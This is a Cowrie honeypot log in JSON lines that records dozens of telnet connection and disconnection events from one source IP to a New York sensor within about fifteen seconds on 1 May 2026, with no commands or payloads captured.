{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50720,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7890eebdd7","protocol":"telnet","message":"New connection: 204.10.38.242:50720 (159.203.135.109:23) [session: 6f7890eebdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:57.916810Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52074,"dst_ip":"159.203.135.109","dst_port":23,"session":"09c3f6612ee5","protocol":"telnet","message":"New connection: 204.10.38.242:52074 (159.203.135.109:23) [session: 09c3f6612ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:58.308554Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51446,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ca6feb67d5b","protocol":"telnet","message":"New connection: 204.10.38.242:51446 (159.203.135.109:23) [session: 3ca6feb67d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:59.090776Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57114,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce5a3b86e62","protocol":"telnet","message":"New connection: 204.10.38.242:57114 (159.203.135.109:23) [session: 1ce5a3b86e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:59.356528Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57336,"dst_ip":"159.203.135.109","dst_port":23,"session":"d81b384b56c3","protocol":"telnet","message":"New connection: 204.10.38.242:57336 (159.203.135.109:23) [session: d81b384b56c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:59.384013Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58442,"dst_ip":"159.203.135.109","dst_port":23,"session":"943ecf2b0f4e","protocol":"telnet","message":"New connection: 204.10.38.242:58442 (159.203.135.109:23) [session: 943ecf2b0f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:51:59.497948Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34218,"dst_ip":"159.203.135.109","dst_port":23,"session":"85f1b9c6f6f3","protocol":"telnet","message":"New connection: 204.10.38.242:34218 (159.203.135.109:23) [session: 85f1b9c6f6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:00.439938Z"}
{"eventid":"cowrie.session.closed","duration":30.58146047592163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:01.208696Z","src_ip":"204.10.38.242","session":"2beb90133e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38196,"dst_ip":"159.203.135.109","dst_port":23,"session":"598dbf604b98","protocol":"telnet","message":"New connection: 204.10.38.242:38196 (159.203.135.109:23) [session: 598dbf604b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:01.333382Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38280,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca9811ab868e","protocol":"telnet","message":"New connection: 204.10.38.242:38280 (159.203.135.109:23) [session: ca9811ab868e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:01.357483Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"20997bff5c6b","protocol":"telnet","message":"New connection: 204.10.38.242:34440 (159.203.135.109:23) [session: 20997bff5c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:01.482792Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41286,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd97e61945d","protocol":"telnet","message":"New connection: 204.10.38.242:41286 (159.203.135.109:23) [session: 4cd97e61945d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:01.858602Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41632,"dst_ip":"159.203.135.109","dst_port":23,"session":"e933bd29d316","protocol":"telnet","message":"New connection: 204.10.38.242:41632 (159.203.135.109:23) [session: e933bd29d316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:01.929929Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42528,"dst_ip":"159.203.135.109","dst_port":23,"session":"a32957d99afc","protocol":"telnet","message":"New connection: 204.10.38.242:42528 (159.203.135.109:23) [session: a32957d99afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:02.123404Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cddf3e6dd7","protocol":"telnet","message":"New connection: 204.10.38.242:52152 (159.203.135.109:23) [session: d2cddf3e6dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:02.328399Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44888,"dst_ip":"159.203.135.109","dst_port":23,"session":"83dce9acf6a1","protocol":"telnet","message":"New connection: 204.10.38.242:44888 (159.203.135.109:23) [session: 83dce9acf6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:02.571843Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46096,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c18388802e","protocol":"telnet","message":"New connection: 204.10.38.242:46096 (159.203.135.109:23) [session: f3c18388802e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:02.857985Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46106,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9f4a5349b7f","protocol":"telnet","message":"New connection: 204.10.38.242:46106 (159.203.135.109:23) [session: b9f4a5349b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:02.863091Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47668,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb058ef1fec","protocol":"telnet","message":"New connection: 204.10.38.242:47668 (159.203.135.109:23) [session: 1eb058ef1fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:03.310130Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48886,"dst_ip":"159.203.135.109","dst_port":23,"session":"951df256e750","protocol":"telnet","message":"New connection: 204.10.38.242:48886 (159.203.135.109:23) [session: 951df256e750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:03.435960Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49802,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5cf23f0f31","protocol":"telnet","message":"New connection: 204.10.38.242:49802 (159.203.135.109:23) [session: cb5cf23f0f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:03.568844Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50460,"dst_ip":"159.203.135.109","dst_port":23,"session":"91737570318f","protocol":"telnet","message":"New connection: 204.10.38.242:50460 (159.203.135.109:23) [session: 91737570318f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:03.750138Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52430,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bdf78d8a54c","protocol":"telnet","message":"New connection: 204.10.38.242:52430 (159.203.135.109:23) [session: 2bdf78d8a54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:04.311413Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52462,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d81bc91658","protocol":"telnet","message":"New connection: 204.10.38.242:52462 (159.203.135.109:23) [session: 65d81bc91658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:04.318316Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54682,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0268ff95ee","protocol":"telnet","message":"New connection: 204.10.38.242:54682 (159.203.135.109:23) [session: ac0268ff95ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:04.591040Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57516,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a85cc50b79","protocol":"telnet","message":"New connection: 204.10.38.242:57516 (159.203.135.109:23) [session: b8a85cc50b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:05.307389Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58138,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17fa2a92874","protocol":"telnet","message":"New connection: 204.10.38.242:58138 (159.203.135.109:23) [session: d17fa2a92874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:05.385243Z"}
{"eventid":"cowrie.session.closed","duration":30.87913179397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:05.390360Z","src_ip":"204.10.38.242","session":"ace42ec165f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54962,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf8a6a04f8a","protocol":"telnet","message":"New connection: 204.10.38.242:54962 (159.203.135.109:23) [session: 1cf8a6a04f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:05.673095Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a92b6dddaf23","protocol":"telnet","message":"New connection: 204.10.38.242:33154 (159.203.135.109:23) [session: a92b6dddaf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:06.064224Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33836,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e1767477b9","protocol":"telnet","message":"New connection: 204.10.38.242:33836 (159.203.135.109:23) [session: c9e1767477b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:06.261139Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47622,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51957ab6180","protocol":"telnet","message":"New connection: 204.10.38.242:47622 (159.203.135.109:23) [session: a51957ab6180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:06.298043Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34098,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8849162dae9","protocol":"telnet","message":"New connection: 204.10.38.242:34098 (159.203.135.109:23) [session: b8849162dae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:06.318310Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"706d6d6996af","protocol":"telnet","message":"New connection: 204.10.38.242:35172 (159.203.135.109:23) [session: 706d6d6996af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:06.427396Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36282,"dst_ip":"159.203.135.109","dst_port":23,"session":"cec646c8f5f0","protocol":"telnet","message":"New connection: 204.10.38.242:36282 (159.203.135.109:23) [session: cec646c8f5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:06.695789Z"}
{"eventid":"cowrie.session.closed","duration":30.956544876098633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:07.232896Z","src_ip":"204.10.38.242","session":"1ea6dcc8b608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5497247bfed","protocol":"telnet","message":"New connection: 204.10.38.242:38460 (159.203.135.109:23) [session: b5497247bfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:07.340252Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40250,"dst_ip":"159.203.135.109","dst_port":23,"session":"e93bd3662674","protocol":"telnet","message":"New connection: 204.10.38.242:40250 (159.203.135.109:23) [session: e93bd3662674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:07.519698Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40924,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdbe084523c5","protocol":"telnet","message":"New connection: 204.10.38.242:40924 (159.203.135.109:23) [session: fdbe084523c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:07.677367Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37404,"dst_ip":"159.203.135.109","dst_port":23,"session":"043aa302da74","protocol":"telnet","message":"New connection: 204.10.38.242:37404 (159.203.135.109:23) [session: 043aa302da74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.033717Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37662,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbb77f69c754","protocol":"telnet","message":"New connection: 204.10.38.242:37662 (159.203.135.109:23) [session: dbb77f69c754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.082199Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42700,"dst_ip":"159.203.135.109","dst_port":23,"session":"96dca12bc13e","protocol":"telnet","message":"New connection: 204.10.38.242:42700 (159.203.135.109:23) [session: 96dca12bc13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.153292Z"}
{"eventid":"cowrie.session.closed","duration":31.305940866470337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.225145Z","src_ip":"204.10.38.242","session":"5a122bb6f764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38418,"dst_ip":"159.203.135.109","dst_port":23,"session":"41a4fd094ad9","protocol":"telnet","message":"New connection: 204.10.38.242:38418 (159.203.135.109:23) [session: 41a4fd094ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.327781Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43994,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cd4445d23bf","protocol":"telnet","message":"New connection: 204.10.38.242:43994 (159.203.135.109:23) [session: 8cd4445d23bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.401434Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1b2d649fb3","protocol":"telnet","message":"New connection: 204.10.38.242:45862 (159.203.135.109:23) [session: 7a1b2d649fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.724859Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46194,"dst_ip":"159.203.135.109","dst_port":23,"session":"636259e54f16","protocol":"telnet","message":"New connection: 204.10.38.242:46194 (159.203.135.109:23) [session: 636259e54f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.781247Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46610,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc84a7f21bb3","protocol":"telnet","message":"New connection: 204.10.38.242:46610 (159.203.135.109:23) [session: fc84a7f21bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:08.919867Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55476,"dst_ip":"159.203.135.109","dst_port":23,"session":"265c81a0024f","protocol":"telnet","message":"New connection: 204.10.38.242:55476 (159.203.135.109:23) [session: 265c81a0024f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.144120Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47666,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3dbdd446242","protocol":"telnet","message":"New connection: 204.10.38.242:47666 (159.203.135.109:23) [session: c3dbdd446242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.244211Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47754,"dst_ip":"159.203.135.109","dst_port":23,"session":"953b3e9d6a98","protocol":"telnet","message":"New connection: 204.10.38.242:47754 (159.203.135.109:23) [session: 953b3e9d6a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.279522Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48390,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab725973f6b2","protocol":"telnet","message":"New connection: 204.10.38.242:48390 (159.203.135.109:23) [session: ab725973f6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.381818Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48942,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a81dc25f10c","protocol":"telnet","message":"New connection: 204.10.38.242:48942 (159.203.135.109:23) [session: 2a81dc25f10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.448286Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48976,"dst_ip":"159.203.135.109","dst_port":23,"session":"1058418852d7","protocol":"telnet","message":"New connection: 204.10.38.242:48976 (159.203.135.109:23) [session: 1058418852d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.452544Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50856,"dst_ip":"159.203.135.109","dst_port":23,"session":"d783a95a0cd5","protocol":"telnet","message":"New connection: 204.10.38.242:50856 (159.203.135.109:23) [session: d783a95a0cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:09.864293Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc90e06cc8e","protocol":"telnet","message":"New connection: 204.10.38.242:53224 (159.203.135.109:23) [session: ecc90e06cc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:10.379376Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53480,"dst_ip":"159.203.135.109","dst_port":23,"session":"f16d8ec87931","protocol":"telnet","message":"New connection: 204.10.38.242:53480 (159.203.135.109:23) [session: f16d8ec87931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:10.409322Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54662,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d97985df5bc","protocol":"telnet","message":"New connection: 204.10.38.242:54662 (159.203.135.109:23) [session: 7d97985df5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:10.593574Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55480,"dst_ip":"159.203.135.109","dst_port":23,"session":"743c6f9fdca9","protocol":"telnet","message":"New connection: 204.10.38.242:55480 (159.203.135.109:23) [session: 743c6f9fdca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:10.838012Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50834,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c78e13c20ea","protocol":"telnet","message":"New connection: 204.10.38.242:50834 (159.203.135.109:23) [session: 2c78e13c20ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:10.853277Z"}
{"eventid":"cowrie.session.closed","duration":31.196502447128296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:11.121033Z","src_ip":"204.10.38.242","session":"9569ec879bd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56656,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0c20cd3076","protocol":"telnet","message":"New connection: 204.10.38.242:56656 (159.203.135.109:23) [session: 6f0c20cd3076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:11.228572Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57202,"dst_ip":"159.203.135.109","dst_port":23,"session":"73a08a8d5b72","protocol":"telnet","message":"New connection: 204.10.38.242:57202 (159.203.135.109:23) [session: 73a08a8d5b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:11.348406Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58288,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f081e659e4f","protocol":"telnet","message":"New connection: 204.10.38.242:58288 (159.203.135.109:23) [session: 6f081e659e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:11.475700Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56886,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b56b438624","protocol":"telnet","message":"New connection: 204.10.38.242:56886 (159.203.135.109:23) [session: 86b56b438624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:12.281668Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33952,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cfa83a96366","protocol":"telnet","message":"New connection: 204.10.38.242:33952 (159.203.135.109:23) [session: 3cfa83a96366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:12.358281Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57694,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00e73409b77","protocol":"telnet","message":"New connection: 204.10.38.242:57694 (159.203.135.109:23) [session: e00e73409b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:12.406308Z"}
{"eventid":"cowrie.session.closed","duration":30.67220973968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:12.434674Z","src_ip":"204.10.38.242","session":"1c5a7f6a168c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d44ab827661","protocol":"telnet","message":"New connection: 204.10.38.242:35736 (159.203.135.109:23) [session: 6d44ab827661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:12.622203Z"}
{"eventid":"cowrie.session.closed","duration":30.64459729194641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.098987Z","src_ip":"204.10.38.242","session":"abea9a0b7888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9e955c0a8e6","protocol":"telnet","message":"New connection: 204.10.38.242:38134 (159.203.135.109:23) [session: b9e955c0a8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.243365Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38281,"dst_ip":"159.203.135.109","dst_port":23,"session":"193deca10817","protocol":"telnet","message":"New connection: 204.10.38.242:38281 (159.203.135.109:23) [session: 193deca10817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.297626Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34094,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff7a14b4a5ad","protocol":"telnet","message":"New connection: 204.10.38.242:34094 (159.203.135.109:23) [session: ff7a14b4a5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.382412Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40210,"dst_ip":"159.203.135.109","dst_port":23,"session":"139050d1fbda","protocol":"telnet","message":"New connection: 204.10.38.242:40210 (159.203.135.109:23) [session: 139050d1fbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.550972Z"}
